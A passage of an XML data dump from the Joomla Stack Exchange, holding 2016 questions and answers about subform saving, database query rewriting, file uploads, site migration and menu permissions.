  <row Id="17304" PostTypeId="1" CreationDate="2016-07-28T23:17:52.223" Score="1" ViewCount="907" Body="&lt;p&gt;I've been trying to debug this all day. I can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My subform field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;tricks&quot; type=&quot;subform&quot; &#xA;    formsource=&quot;administrator/components/com_test/models/forms/bagtrick.xml&quot; min=&quot;0&quot; max=&quot;1000&quot; multiple=&quot;true&quot; buttons=&quot;add,remove,move&quot;&#xA;    layout=&quot;joomla.form.field.subform.repeatable-table&quot; groupByFieldset=&quot;true&quot; &#xA;    label=&quot;Models&quot; description=&quot;Subform Field Description&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bagtrick.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;&amp;lt;fieldset name=&quot;homemodelsrent&quot; label=&quot;Home Models and Rent&quot; repeat=&quot;true&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;homemodel&quot; &#xA;        type=&quot;sql&quot; &#xA;        label=&quot;Home Model&quot; &#xA;        description=&quot;Choose a home model&quot;&#xA;        query=&quot;SELECT id, concat(title, ' - ',model) as composite_title from fd9un_test_tricks&quot; &#xA;        key_field=&quot;id&quot; &#xA;        value_field=&quot;composite_title&quot; &amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;field name=&quot;price&quot;&#xA;        label=&quot;Rent&quot;&#xA;        description=&quot;Enter rental price for this home model at this community&quot;&#xA;        type=&quot;text&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to work fine.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1Ibgd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Ibgd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;But when I save the form, the information is not saved. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/CG5VG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CG5VG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;My table has a column named 'tricks'. It is empty, no matter what I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8776" LastEditorUserId="7394" LastEditDate="2016-08-09T07:36:21.953" LastActivityDate="2016-08-09T07:36:21.953" Title="Why doesn't my subform field data get saved?" Tags="|development|joomla-3.6|subform|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17305" PostTypeId="1" CreationDate="2016-07-29T00:21:38.937" Score="1" ViewCount="19461" Body="&lt;p&gt;My website &lt;a href=&quot;http://www.EliteMaths.com.au&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.EliteMaths.com.au&lt;/a&gt; has been active until early this week. When I tried to access it this morning I got the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error displaying the error page: Application Instantiation Error: The MySQL adapter mysqli is not available&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this issue? The following screenshots are from the web hosting.&#xA;When I click on the orange &quot;control panel&quot; button, I get an error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RvdVw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvdVw.png&quot; alt=&quot;Web hosting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JN2qo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JN2qo.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not updated anything nor made any changes from Joomla end or in the web hosting or domain. So I don't quite understand how this would have happened. Has someone tamper with any of my system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="8777" LastEditorUserId="7394" LastEditDate="2016-08-09T07:38:28.683" LastActivityDate="2018-03-18T11:02:22.193" Title="The MySQL adapter mysqli is not available - how to resolve this issue?" Tags="|mysql|sql|server|server-configuration|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17306" PostTypeId="2" ParentId="17305" CreationDate="2016-07-29T01:35:36.283" Score="2" Body="&lt;p&gt;Most likely your hosting company made some modifications on their server or moved you to another server that doesn't have the MySQLi adapter. You can either edit the configuration.php and change &lt;code&gt;$dbtype&lt;/code&gt; to &lt;code&gt;mysql&lt;/code&gt; (from &lt;code&gt;mysqli&lt;/code&gt;), and see if that works, or, ideally, contact your host and tell them about this problem (they should be able to fix it since it is on their end).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-29T01:35:36.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17307" PostTypeId="2" ParentId="17300" CreationDate="2016-07-29T01:42:38.407" Score="0" Body="&lt;p&gt;Are you using jEvents or any other extension that works heavily with dates? If  yes, then your solution could be by changing the timezone in the configuration of jEvents (or the other extension that you're using) to a &quot;recognized&quot; timezone. Try switching to a well know timezone first and see if that fixes the problem.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-29T01:42:38.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17309" PostTypeId="1" AcceptedAnswerId="17310" CreationDate="2016-07-29T10:04:20.853" Score="1" ViewCount="124" Body="&lt;p&gt;I am trying to rewrite below query to fetch on database value off Models &#xA;But am failing on in the new code, can any one help in to rewrite in query based on joomla latest standards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Old Code&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$db = JFactory::getDBO();&#xA;if(isset($_GET[&quot;s&quot;])){  &#xA;$ModelId=$_GET[&quot;s&quot;];&#xA;$sql = &quot;SELECT * from #_toy_products where prod_status='1' and prod_cat_id='&quot;.$ModelId.&quot;' order by prod_sorder Asc&quot;;&#xA;$db-&amp;gt;setQuery($sql);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;$list='&amp;lt;select name=&quot;model&quot; class=&quot;list-box&quot; id=&quot;model&quot;  lang=&quot;&quot; title=&quot;Model&quot;&amp;gt;';&#xA;$list.='&amp;lt;option value=&quot;&quot; style=&quot;padding-left:10px;&quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;foreach($rows as $row){&#xA;    $list.='&amp;lt;option value=&quot;'.$row-&amp;gt;prod_id .'&quot; style=&quot;padding-left:10px;&quot;&amp;gt;'.$row-&amp;gt;prod_name.'&amp;lt;/option&amp;gt;';&#xA;}&#xA;$list.='&amp;lt;/select&amp;gt;';&#xA;die($list);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;?&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('Model', 'state', 'prod_cat_id', 'prod_sorder')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__toy_products'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('state=1') . ' LIKE '. $db-&amp;gt;quote('\'custom.%\''));&#xA;$query-&amp;gt;order('prod_sorder ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2016-07-29T11:40:55.633" Title="Rewriting Query for Fetching Database Value" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17310" PostTypeId="2" ParentId="17309" CreationDate="2016-07-29T10:17:00.137" Score="1" Body="&lt;p&gt;Try using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// GET using JInput&#xA;$jinput  = JFactory::getApplication()-&amp;gt;input;&#xA;$ModelId = $jinput-&amp;gt;get('s', '', 'INT');&#xA;&#xA;// Database stuff&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;qn(array('Model', 'state', 'prod_cat_id', 'prod_sorder')))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__toy_products'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('prod_status') . ' = 1')&#xA;      -&amp;gt;where($db-&amp;gt;qn('prod_cat_id') . ' = ' . (int)$ModelId)&#xA;      -&amp;gt;order('prod_sorder ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;$list = '&amp;lt;select name=&quot;model&quot; class=&quot;list-box&quot; id=&quot;model&quot;  lang=&quot;&quot; title=&quot;Model&quot;&amp;gt;';&#xA;$list .= '&amp;lt;option value=&quot;&quot; style=&quot;padding-left:10px;&quot; selected&amp;gt;-Select Model-&amp;lt;/option&amp;gt;';&#xA;&#xA;foreach ($rows as $row)&#xA;{&#xA;    $list .= '&amp;lt;option value=&quot;' . $row-&amp;gt;prod_id . '&quot; style=&quot;padding-left:10px;&quot;&amp;gt;' . $row-&amp;gt;prod_name . '&amp;lt;/option&amp;gt;';&#xA;}&#xA;&#xA;$list .= '&amp;lt;/select&amp;gt;';&#xA;&#xA;die($list);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As you can see at the beginning, I've used &lt;code&gt;JInput&lt;/code&gt; instead of &lt;code&gt;$_GET&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ModelId = $jinput-&amp;gt;get('s', '', 'INT');&lt;/code&gt; ...the &lt;code&gt;-&amp;gt;get()&lt;/code&gt; function takes 3 arguments:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Variable name (in your case &lt;code&gt;s&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Default value (left if as default but you can use one if you like)&lt;/li&gt;&#xA;&lt;li&gt;Filter (set to &lt;code&gt;INT&lt;/code&gt;(integer) assuming this variable will be a number)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There were also some tweaks needed to your &lt;code&gt;-&amp;gt;where()&lt;/code&gt; clause in the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-07-29T11:40:55.633" LastActivityDate="2016-07-29T11:40:55.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17311" PostTypeId="1" CreationDate="2016-07-29T13:26:32.650" Score="4" ViewCount="1759" Body="&lt;p&gt;I am working on a custom component, where at the backend interface - we want the admin user to be able to upload image and let that image directly save to a specified folder - /images/uploads/variants/ and also to save file name say - 1327171407s_Rubytoys.jpg in the database in column field - v_small_img&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What we have done as of now is&lt;/strong&gt;&#xA;On path directory /administrator/component/models/form/variant.xml file&#xA;the field is set along with other fields in variant.xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;field name=&quot;v_name&quot; type=&quot;text&quot; label=&quot;Variant&quot; description=&quot;COM_NEWTOY_FORM_DESC_VARIANT_V_NAME&quot; hint=&quot;COM_NEWTOY_FORM_LBL_VARIANT_V_NAME&quot;/&amp;gt;&#xA; &amp;lt;field name=&quot;v_descr&quot; type=&quot;editor&quot; filter=&quot;safehtml&quot; label=&quot;COM_NEWTOY_FORM_LBL_VARIANT_V_DESCR&quot; description=&quot;COM_NEWTOY_FORM_DESC_VARIANT_V_DESCR&quot; hint=&quot;COM_NEWTOY_FORM_LBL_VARIANT_V_DESCR&quot;/&amp;gt;&#xA; &amp;lt;field name=&quot;v_price&quot; type=&quot;text&quot; label=&quot;Price&quot; description=&quot;COM_NEWTOY_FORM_DESC_VARIANT_V_PRICE&quot; hint=&quot;COM_NEWTOY_FORM_LBL_VARIANT_V_PRICE&quot;/&amp;gt;    &#xA; &amp;lt;field name=&quot;v_small_img&quot; type=&quot;file&quot; label=&quot;COM_NEWTOY_FORM_LBL_VARIANT_V_SMALL_IMG&quot; description=&quot;COM_NEWTOY_FORM_DESC_VARIANT_V_SMALL_IMG&quot; hint=&quot;COM_NEWCAR_FORM_LBL_VARIANT_V_SMALL_IMG&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The field v_small_img is showing an upload button.&#xA;But I don't know:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to set path of upload file to save in - public_html/images/uploads/variants/&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to save file name only in db - v_small_img (only file name to be saved, not the file as it has to be uploaded to separate directory - /images/uploads/variants/)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried modifying save function in controller/variants.php&#xA;but it's not helping either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function saveOrderAjax()&#xA;{&#xA;    // Get the input&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;    $pks   = $input-&amp;gt;post-&amp;gt;get('cid', array(), 'array');&#xA;    $order = $input-&amp;gt;post-&amp;gt;get('order', array(), 'array');&#xA;&#xA;    $files = $input-&amp;gt;files-&amp;gt;get('jform');&#xA;    $file = $files['image'];&#xA;    $filename = JFile::makeSafe($file['name']);&#xA;    $src = $file['tmp_name'];&#xA;    $dest = JPATH_SITE.&quot;images/uploads/variants/&quot;.$filename;&#xA;    if (JFile::upload($src, $dest)) {&#xA;        $thisID = JRequest::getVar('id');&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $v_small_img = array($db-&amp;gt;quoteName('image') . &quot; = &quot; . $db-&amp;gt;quote($filename));&#xA;        $conditions = array($db-&amp;gt;quoteName('id') . &quot; = &quot; . $thisID);&#xA;        $query-&amp;gt;update($db-&amp;gt;quoteName('#__NEWTOY_variants'))-&amp;gt;set($v_small_img)-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute($query);&#xA;    } else {&#xA;          //Redirect and throw an error message&#xA;    }&#xA;&#xA;&#xA;    // Sanitize the input&#xA;    ArrayHelper::toInteger($pks);&#xA;    ArrayHelper::toInteger($order);&#xA;&#xA;    // Get the model&#xA;    $model = $this-&amp;gt;getModel();&#xA;&#xA;    // Save the ordering&#xA;    $return = $model-&amp;gt;saveorder($pks, $order);&#xA;&#xA;&#xA;&#xA;    if ($return)&#xA;    {&#xA;        echo &quot;1&quot;;&#xA;    }&#xA;&#xA;    // Close the application&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T14:56:45.980" LastActivityDate="2017-04-03T17:39:51.810" Title="How to save image in specified folder in joomla directory and save file name in db" Tags="|development|database|images|file-upload|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17312" PostTypeId="2" ParentId="17097" CreationDate="2016-07-29T13:29:14.537" Score="4" Body="&lt;p&gt;I have been able to resolve this question by writing my own plugin, as recommended by Lodder in the comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin is very simple; it merely creates a user note against the user when the user's account is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Activation can occur in three ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The user activates their account via the activation email.&lt;/li&gt;&#xA;&lt;li&gt;The site admin activates the account manually via the user admin list.&lt;/li&gt;&#xA;&lt;li&gt;The account is activated automatically when created (ie no activation required either because of general Joomla config or because the account was created in the admin panel)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A user note will be created in any of these three circumstances; the text of the note will vary accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the plugin &lt;a href=&quot;https://github.com/Spudley/plg_user_notifyactivation&quot; rel=&quot;nofollow&quot;&gt;here on github&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin has also been accepted for inclusion in the JED. You can find the entry for it here: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/notify-activation&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/notify-activation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="5618" LastEditDate="2016-08-19T11:34:33.360" LastActivityDate="2016-08-19T11:34:33.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17313" PostTypeId="2" ParentId="17289" CreationDate="2016-07-29T16:55:22.123" Score="2" Body="&lt;p&gt;Can you try setting up an alternate page using Components-&gt;Smart Search? This might help narrow down whether it is a code problem or server/resource problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a code problem, check your template's override folder (/templates/TEMPLATE_NAME/html/com_search/) to see if there is a template override causing the problem.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-07-29T16:55:22.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17314" PostTypeId="1" CreationDate="2016-07-29T23:28:13.937" Score="1" ViewCount="2324" Body="&lt;p&gt;I just recently backed up my Joomla website from my old web host and transferred the domain to my new web host. I then restored the database files and SQL files as well as corrected the configuration.php file to the new database. When the transfer had completed I pointed the domain to the correct folder including the database files. When I go to the domain, a page pops up with the following info below. I'm not sure what happened, I typically transfer and restore WordPress websites all the time and this is my first time transferring a Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated thanks everyone:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Site&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;/**&#xA; * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.&#xA; */&#xA;define('JOOMLA_MINIMUM_PHP', '5.3.10');&#xA;&#xA;if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;lt;'))&#xA;{&#xA;    die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');&#xA;}&#xA;&#xA;// Saves the start time and memory usage.&#xA;$startTime = microtime(1);&#xA;$startMem  = memory_get_usage();&#xA;&#xA;/**&#xA; * Constant that is checked in included files to prevent direct access.&#xA; * define() is used in the installation folder rather than &quot;const&quot; to not error for PHP 5.2 and lower &#xA; */&#xA;define('_JEXEC', 1);&#xA;&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Set profiler start time and memory usage and mark afterLoad in the profiler.&#xA;JDEBUG ? $_PROFILER-&amp;gt;setStart($startTime, $startMem)-&amp;gt;mark('afterLoad') : null;&#xA;&#xA;// Instantiate the application.&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;// Execute the application.&#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8780" LastEditorUserId="1520" LastEditDate="2016-07-30T06:08:09.403" LastActivityDate="2016-08-03T04:39:34.693" Title="Website error when I backed up my website from my old web host and restored the site onto my new web host" Tags="|joomla-3.x|php|joomla-2.5|joomla-3.4|joomla-3.3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17315" PostTypeId="2" ParentId="17311" CreationDate="2016-07-30T11:48:40.520" Score="1" Body="&lt;p&gt;To me it seems to be almost a one to one copy of the backend &quot;list items / edit item&quot; views of com_banners. Except you want to upload an image instead of using the internal media manager.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create those 2 views and the needed tasks and methods with the image field as a normal text field.&lt;/li&gt;&#xA;&lt;li&gt;When this works as you want it to, you add the image upload. &lt;/li&gt;&#xA;&lt;li&gt;The harder part is to check the uploaded physical file. ( Do not trust any headers or other information ) - errors, - min and max size in byte and pixel, - allowed mime types. Be aware of any file naming problems (allowed characters and conflicts).&lt;/li&gt;&#xA;&lt;li&gt;If everything is ok move the file to the correct folder, add the file name to the db record and insert it-&lt;/li&gt;&#xA;&lt;li&gt;Sanitize the image? Thumbs?&lt;/li&gt;&#xA;&lt;li&gt;Find out how you want to handle edits and deletions of the db records. Keep or delete the images?&lt;/li&gt;&#xA;&lt;li&gt;You will probably need some utility programs to check the correlation between db table and physical image files in the near future, if it's about more then a few images.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Do not add any Ajax functionality until this works to 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take use of the methods in Joomlas JImage class.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2016-07-30T11:48:40.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17316" PostTypeId="1" CreationDate="2016-07-30T16:37:03.250" Score="1" ViewCount="61" Body="&lt;p&gt;Recently because of some errors in my joomla site, I re-install &lt;code&gt;joomla 3.5.1&lt;/code&gt; Persian. Now I have a problem on &lt;code&gt;creating menu&lt;/code&gt;. some fields in creating new menu is disappeared. I clear my browser and I also clear host &lt;code&gt;tmp&lt;/code&gt; folder but no thing changed.&lt;/p&gt;&#xA;&lt;p&gt;This my Joomla administator -&amp;gt; menu -&amp;gt; new:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QRbi2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QRbi2.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and this what should be (this is picture of created menu):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zjSjP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zjSjP.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you see, there is a lot of differences. How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="8670" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-03T04:35:09.857" Title="Joomla menu disappeared" Tags="|menu|joomla-3.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17317" PostTypeId="1" CreationDate="2016-07-30T21:17:15.883" Score="0" ViewCount="105" Body="&lt;p&gt;I use Joomla 3 and I've put 3 Custom HTML modules in debug position. Those modules contain javascript snippets of tracking code for different services (kinda like Google Analytics). Everything seems to be working fine now. But I'm just double-checking if it's OK to do it that way?&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-10-29T02:35:13.770" Title="3 Custom HTML modules in debug position on a Joomla 3 site" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17318" PostTypeId="2" ParentId="17317" CreationDate="2016-07-31T01:12:08.297" Score="1" Body="&lt;p&gt;As per the answer at: &lt;a href=&quot;https://stackoverflow.com/a/2837959/1983389&quot;&gt;https://stackoverflow.com/a/2837959/1983389&lt;/a&gt; JavaScript can be added to the head, body or called via an external file so it should be fine to include it in a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issues I have discovered with this method are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default margins / padding for the debug module position&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some templates include default margins and padding for module positions so you may end up with unwanted spacing in your layout when using the debug module position only for code. This can usually be solved via custom CSS such as &lt;code&gt;{display: none;}&lt;/code&gt; or similar for the debug modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Being Stripped when saving in the editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have probably discovered, Joomla and/or your editor will often strip non-html code from your Custom HTML module when it is saved. You can usually get around this issue by one or more of the following methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;amending the Text Filters in Global Configuration&lt;/li&gt;&#xA;&lt;li&gt;using a third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar so that code is retained on saving&lt;/li&gt;&#xA;&lt;li&gt;temporarily setting the default editor to &quot;None&quot; in Global Configuration when editing your Custom HTML modules&lt;/li&gt;&#xA;&lt;li&gt;amending the default editor settings to allow JavaScript code (if possible)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-07-31T01:22:40.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17319" PostTypeId="2" ParentId="17226" CreationDate="2016-07-31T11:01:17.780" Score="3" Body="&lt;p&gt;Reference here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;$app-&amp;gt;triggerEvent('onContentAfterTitle');&lt;/code&gt; you need to pass some arguments as an array, and you have not passed them.&lt;/p&gt;&#xA;" OwnerUserId="3993" LastEditorUserId="126" LastEditDate="2016-11-28T23:23:48.603" LastActivityDate="2016-11-28T23:23:48.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17320" PostTypeId="1" AcceptedAnswerId="17435" CreationDate="2016-07-31T19:10:40.393" Score="0" ViewCount="574" Body="&lt;p&gt;I have created component using Joomla`s official guide. It works well except one thing: user with security group &quot;Editor&quot; can access and modify the component but cannot see it in admin top main menu. &#xA;In fact super user can see all the components in menu but &quot;Editor&quot; can not. &#xA;I already checked global configuration and Menu manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component is not present in menu manager items. Can this be a cause? &lt;/p&gt;&#xA;" OwnerUserId="8688" LastEditorUserId="7394" LastEditDate="2016-08-09T07:57:12.337" LastActivityDate="2016-08-09T07:57:12.337" Title="Component not showing in admin top Menu only for `Editor` security group" Tags="|joomla-3.x|menu-item|acl|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17321" PostTypeId="2" ParentId="14551" CreationDate="2016-08-01T09:50:12.700" Score="1" Body="&lt;p&gt;I managed to run this validation by small work around. I moved ajax request to input blur method and in form validation hendler I just check some variables which was set after ajax request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;&#xA;    jQuery(&quot;#jform_email&quot;).blur(function(){&#xA;        email = jQuery(&quot;#&quot; + this.id).val();&#xA;        jQuery(&quot;.email_message&quot;).html('');&#xA;        jQuery(&quot;.email_message&quot;).hide();&#xA;        jQuery(&quot;#jform_email&quot;).removeClass('invalid');&#xA;        usermailvalid = true;&#xA;&#xA;        jQuery.ajax({&#xA;            url:'index.php?option=com_xxx&amp;amp;task=user.checkUserEmail',&#xA;            type: &quot;POST&quot;,&#xA;            data: {&#xA;                'email': email&#xA;            }&#xA;        }).done(function(msg) {&#xA;            console.log(msg);&#xA;            msg = JSON.parse(msg);&#xA;&#xA;            if (msg.msg==='false')&#xA;            {&#xA;                usermailvalid = false;&#xA;                jQuery(&quot;#jform_email&quot;).addClass('invalid');&#xA;                jQuery(&quot;.email_message&quot;).show();&#xA;                jQuery(&quot;.email_message&quot;).html(msg.html);                &#xA;            }&#xA;&#xA;        })&#xA;    });&#xA;&#xA;    var usermailvalid = true;&#xA;&#xA;    document.formvalidator.setHandler('usermailcheck', function(value) {&#xA;&#xA;        if 